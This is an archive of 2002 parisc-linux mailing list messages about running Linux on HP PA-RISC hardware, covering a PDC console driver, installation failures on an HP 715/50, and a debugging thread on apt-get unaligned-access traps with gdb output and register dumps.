Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621397 9013 80.91.229.3 (22 Nov 2014 01:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "William @ HOME" <william@zero.myftpsite.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 14 17:45:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22BEE482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Jun 2002 17:45:07 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020614234501.FZXW22718.viefep13-int.chello.at@gmx.at>;
          Sat, 15 Jun 2002 01:45:01 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15102

Hello,

this machine is not supported under linux yet.

But I wrote a driver half'n year ago, using the PDC console (ROM)
in Linux. You have to activate the PDC console by kernel compilation
(character device driver, non-standard drivers), and you have to 
create a device /dev/ttyB0 (see HELP button at configuration).

The kernel line parameter, add `console=ttyB0', then the box can
boot as "diskless server", as the MUX (except the ROM PDC console),
the SCSI and the parallel port is not working.

But I will start on a E55 to write drivers (I will start, but I
cannot speak about results...).

BTW: the console port is on port 0 on my MUX ! If the E45 really
can do an autodetection here in the boot monitor (PDC), then this
also works under Linux, but I cannot imagine....

Christoph P.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masliy Alex <masliy@kfti.knc.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP PA 715/50 installation trouble
Date: Sat, 15 Jun 2002 11:43:36 +0400
Organization: KSTU
Lines: 47
Approved: news@gmane.org
Message-ID: <adn_155_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621397 9016 80.91.229.3 (22 Nov 2014 01:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 15 01:48:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dionis.kfti.knc.ru (unknown [195.208.38.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D982482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Jun 2002 01:48:12 -0600 (MDT)
Original-Received: by dionis.kfti.knc.ru; Sat, 15 Jun 2002 11:47:21 +0400 (MSK)
Original-Received: from duron by dionis.kfti.knc.ru with SMTP; Sat, 15 Jun 2002 11:47:16 +0400 (MSK)
X-Mailer: stuphead ver. 0.5.4 (Insensible-cvs) (GTK+ 1.2.10; Linux 2.4.18-alt0.2.pre4-up; i686)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15103

I have some troubles in installation of Linux on HP PA 715/50

I have the following hardvare - HP PA 715/50 WS, 64Mb RAM, 1Gb SCSI HDD
QUANTUM LPS1080, DDS Tape Drive HP6400 2000, Floppy Drive Teac and CDROM
Nec CDR84JD-1

I have downloaded the last stable release - Debian port on HP PA 0.9.3 -
469Mb iso image

At first, I tried to install from CDROM. In the proccess of booting the
following messages were printed:
---------------
Trying to scsi.4.0
Failed to initialize scsi.4.0
ENTRY_INIT status = -13
---------------

Then I decided to install from floppies. However, some problems arised:
According to readme, I try to write on the Linux PC rescue disk for HP PA.
The command "dd if=rescue.bin of=/dev/fd0 bs=1024" gave the following out:
--------------
dd: writing `/dev/fd0': No space left on device
1441+0 input records
1440+0 output records
-------------

The command "cmp /dev/fd0 rescue.bin" gave the following out:
---------------
cmp: EOF on /dev/fd0
---------------

I couldn't mount this disk on Linux PC (unrecognised filesystem)
When I try to boot from this disk on HP PA,  I get the following:
--------------------
Trying to scsi.0.0
Failed to initialize scsi.0.0
ENTRY_INIT status = -4
--------------------

Could you advise me what can I do to install Linux on my HP PA?

--
Sincerilly,  
Masliy Alex			mailto:masliy@kfti.knc.ru




From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Sat, 15 Jun 2002 09:52:09 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020615075209.GK8736@charite.de>
References: <adn_155_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621398 9018 80.91.229.3 (22 Nov 2014 01:56:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Masliy Alex <masliy@kfti.knc.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 15 01:52:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 442B34846
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Jun 2002 01:52:12 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 6E1B715C00A; Sat, 15 Jun 2002 09:52:10 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id C8E6A633B3; Sat, 15 Jun 2002 09:52:09 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <adn_155_0_@dionis.kfti.knc.ru>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15104

On Sat, Jun 15, 2002 at 11:43:36AM +0400, Masliy Alex wrote:
> I have some troubles in installation of Linux on HP PA 715/50
> 
> I have the following hardvare - HP PA 715/50 WS, 64Mb RAM, 1Gb SCSI HDD
> QUANTUM LPS1080, DDS Tape Drive HP6400 2000, Floppy Drive Teac and CDROM
> Nec CDR84JD-1
> 
> I have downloaded the last stable release - Debian port on HP PA 0.9.3 -
> 469Mb iso image
> 
> At first, I tried to install from CDROM. In the proccess of booting the
> following messages were printed:
> ---------------
> Trying to scsi.4.0
> Failed to initialize scsi.4.0
> ENTRY_INIT status = -13

Hmm. Was this drive working with that box under HP-UX?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
USER, n.: The word computer professionals use when they mean "idiot."
                              --Dave Barry, "Claw Your Way to the Top




From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Sun, 16 Jun 2002 15:35:33 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020616143533.GL25306@sleepie.demon.co.uk>
References: <adn_155_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621398 9021 80.91.229.3 (22 Nov 2014 01:56:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Masliy Alex <masliy@kfti.knc.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 09:00:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5078F4831
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 09:00:25 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 422D29ECF8; Sun, 16 Jun 2002 15:35:33 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <adn_155_0_@dionis.kfti.knc.ru>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15105

On Sat, Jun 15, 2002 at 11:43:36AM +0400, Masliy Alex wrote:
> Then I decided to install from floppies. However, some problems arised:

Floppies are not supported on parisc at present.  Your options are to
install from cdrom, or boot and install from the network.  There is a
HOWTO docuemnt linked from <http://pateam.esiee.fr/>

Richard




From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Philipp Hoehne" <philipp@hoehne.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Sun, 16 Jun 2002 19:17:11 +0200
Lines: 3
Approved: news@gmane.org
Message-ID: <000601c21559$a7484840$0200a8c0@daisy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621398 9025 80.91.229.3 (22 Nov 2014 01:56:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 11:14:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id A00744835
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 11:14:19 -0600 (MDT)
Original-Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #3)
	id 17JdbP-00002k-00
	for parisc-linux@lists.parisc-linux.org; Sun, 16 Jun 2002 19:14:11 +0200
Original-Received: from [217.162.235.81] (helo=daisy)
	by mrvdom03.kundenserver.de with esmtp (Exim 2.12 #3)
	id 17JdbO-0003W5-00
	for parisc-linux@lists.parisc-linux.org; Sun, 16 Jun 2002 19:14:10 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15106





From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masliy Alex <masliy@kfti.knc.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Sat, 15 Jun 2002 12:04:38 +0400
Organization: KSTU
Lines: 20
Approved: news@gmane.org
Message-ID: <adn_159_0_@dionis.kfti.knc.ru>
References: <adn_155_0_@dionis.kfti.knc.ru>
	<20020615075209.GK8736@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621399 9030 80.91.229.3 (22 Nov 2014 01:56:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 17:40:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dionis.kfti.knc.ru (unknown [195.208.38.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 167A34832
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 17:40:27 -0600 (MDT)
Original-Received: by dionis.kfti.knc.ru; Sat, 15 Jun 2002 12:08:29 +0400 (MSK)
Original-Received: from duron by dionis.kfti.knc.ru with SMTP; Sat, 15 Jun 2002 12:08:18 +0400 (MSK)
In-Reply-To: <20020615075209.GK8736@charite.de>
X-Mailer: stuphead ver. 0.5.4 (Insensible-cvs) (GTK+ 1.2.10; Linux 2.4.18-alt0.2.pre4-up; i686)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15107

On Sat, 15 Jun 2002 09:52:09 +0200
Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> wrote:

>> At first, I tried to install from CDROM. In the proccess of booting the
>> following messages were printed:
>> ---------------
>> Trying to scsi.4.0
>> Failed to initialize scsi.4.0
>> ENTRY_INIT status = -13
RH> Hmm. Was this drive working with that box under HP-UX?
    Yes, of course. I was mounted the Debian Install Disk under HP-UX.
    But it is old device (August 1993). 


--
Sincerilly,  
Masliy Alex			mailto:masliy@kfti.knc.ru




From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unaligned access failures with apt-get on SMP K460.
Date: 16 Jun 2002 18:22:24 -0600
Lines: 136
Approved: news@gmane.org
Message-ID: <1024273345.27050.26.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621399 9033 80.91.229.3 (22 Nov 2014 01:56:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:39 +0000 (UTC)
Cc: richard_hirst@linuxcare.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 18:22:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 404604838
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 18:22:26 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id F03ECBD03; Sun, 16 Jun 2002 18:22:24 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15108

Hello parisc-linux hackers,

I (with a lot of help from Richard) am  looking into a problem with
apt-get .... on a SMP kernel for the K460. 

The problem is that when I run apt-get <command> I get the following
error message:
	apt-get(<PID>): unaligned access to 0x403ce094 at ip=0x4005e47f

This kernel has the DEBUG_UNALIGNED defined in
arch/parisc/kernel/unaligned.c to provide additional debug information
for unaligned accesses.





Here is the trace from the apt-get install sudo:

rebel:~# gdb /usr/bin/apt-get
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "hppa-linux"...(no debugging symbols
found)...
(gdb) break main
Breakpoint 1 at 0x24554
(gdb) run install sudo
Starting program: /usr/bin/apt-get install sudo
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Breakpoint 1, 0x00024554 in main ()
(gdb) continue
Continuing.
apt-get(165): unaligned access to 0x403ce094 at ip=0x4005e47f

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 00044a20 40098df3 403ce08c
r04-07  00000038 40111868 faf00c18 00049da4
r08-11  00049da0 faf00f18 faf01368 faf00e4c
r12-15  000129e7 faf00bf0 faf00a88 faf00bcc
r16-19  faf006c8 0000000a faf005b8 40111868
r20-23  000022c8 00000166 00000000 403ce044
r24-27  faf01368 00000038 000022c8 00040220
r28-31  0004a900 400c65a7 faf01500 000282a3
sr0-3   00000097 0000008f 00000000 00000097
sr4-7   00000097 00000097 00000097 00000097

IASQ: 00000097 00000097 IAOQ: 4005e47f 4005e483
 IIR: 0c751290    ISR: 00000097  IOR: 403ce094
 CPU:        2   CR30: ee294000 CR31: 11111111
 ORIG_R28: 00000001
unaligned.c:183:emulate_store <7>store r21 (0x00000166) to
00000097:403ce094 for 4 bytes
unaligned.c:365:handle_unaligned <7>ret = 0
apt-get (pid 165): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 ee58c000 40098df3 403ce08c
r04-07  00000038 40111868 faf00c18 00049da4
r08-11  10356810 10356810 faf01368 faf00e4c
r12-15  000129e7 faf00bf0 faf00a88 faf00bcc
r16-19  ee294380 0000000a faf005b8 40111868
r20-23  000022c8 00000166 00000000 403ce044
r24-27  ee81c03c eeb3db00 000022c8 00040220
r28-31  0004a900 400c65a7 faf01500 000282a3
sr0-3   00000097 0000008f 00000000 00000097
sr4-7   00000097 00000097 00000097 00000097

IASQ: 00000097 00000097 IAOQ: 4005e483 4005e487
 IIR: 48340048    ISR: 00000000  IOR: ee58c024
 CPU:        2   CR30: ee294000 CR31: 11111111
 ORIG_R28: 00000001

Program received signal SIGILL, Illegal instruction.
0x4005e480 in DynamicMMap::Allocate(unsigned long) ()
   from /usr/lib/libapt-pkg-libc6.2-3.so.3.2

(gdb)


Here is the instruction dump:

(gdb) x/10i 0x4005e470
0x4005e470 <_ZN11DynamicMMap8AllocateEm+100>:	copy r4,r25
0x4005e474 <_ZN11DynamicMMap8AllocateEm+104>:	ldo -1(r21),r21
0x4005e478 <_ZN11DynamicMMap8AllocateEm+108>:	copy r20,r26
0x4005e47c <_ZN11DynamicMMap8AllocateEm+112>:	stw r21,8(sr0,r3)
0x4005e480 <_ZN11DynamicMMap8AllocateEm+116>:	b,l 0x4005d76c
<_init+232>,r31
0x4005e484 <_ZN11DynamicMMap8AllocateEm+120>:	add,l r20,r4,r20
0x4005e488 <_ZN11DynamicMMap8AllocateEm+124>:	stw r20,4(sr0,r3)
0x4005e48c <_ZN11DynamicMMap8AllocateEm+128>:	copy ret1,ret0
0x4005e490 <_ZN11DynamicMMap8AllocateEm+132>:	ldw -54(sr0,sp),rp
0x4005e494 <_ZN11DynamicMMap8AllocateEm+136>:	ldw -3c(sr0,sp),r4
(gdb) 



The instruction causing the unaligned trap is:
0x4005e47c <_ZN11DynamicMMap8AllocateEm+112>:	stw r21,8(sr0,r3)

As you can see from r3 (403ce08c) in the register dump is aligned on a
4-byte boundry.  So the question is why is this trap being executed?

Also Richard thought the following two things looked wiered in the
register dump:

	PSW is all 0's.
	r30 is faf01500 ... isn't userspace stack usually 0xbf??????




Note: The apt-get commands work fine on a UP kernel, and I am running
against the unstable distribution. The same apt-get seems to work fine
on the J200 with an SMP kernel too.

Any thoughts or insight is appreciated :)

Thanks,

- Ryan





From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP K460.
Date: Sun, 16 Jun 2002 20:59:58 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200206170059.g5H0xw9a010945@hiauly1.hia.nrc.ca>
References: <1024273345.27050.26.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621399 9036 80.91.229.3 (22 Nov 2014 01:56:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: rbradetich@uswest.net (Ryan Bradetich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 19:00:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 753064833
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 19:00:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5H0xwFN010946;
	Sun, 16 Jun 2002 20:59:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5H0xw9a010945;
	Sun, 16 Jun 2002 20:59:58 -0400 (EDT)
In-Reply-To: <1024273345.27050.26.camel@beavis> from "Ryan Bradetich" at Jun 16, 2002 06:22:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15109

> The instruction causing the unaligned trap is:
> 0x4005e47c <_ZN11DynamicMMap8AllocateEm+112>:	stw r21,8(sr0,r3)
> 
> As you can see from r3 (403ce08c) in the register dump is aligned on a
> 4-byte boundry.  So the question is why is this trap being executed?

Maybe the message is misleading.  It looks as if the insn may be trying
to write to readonly memory based of the value of r3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



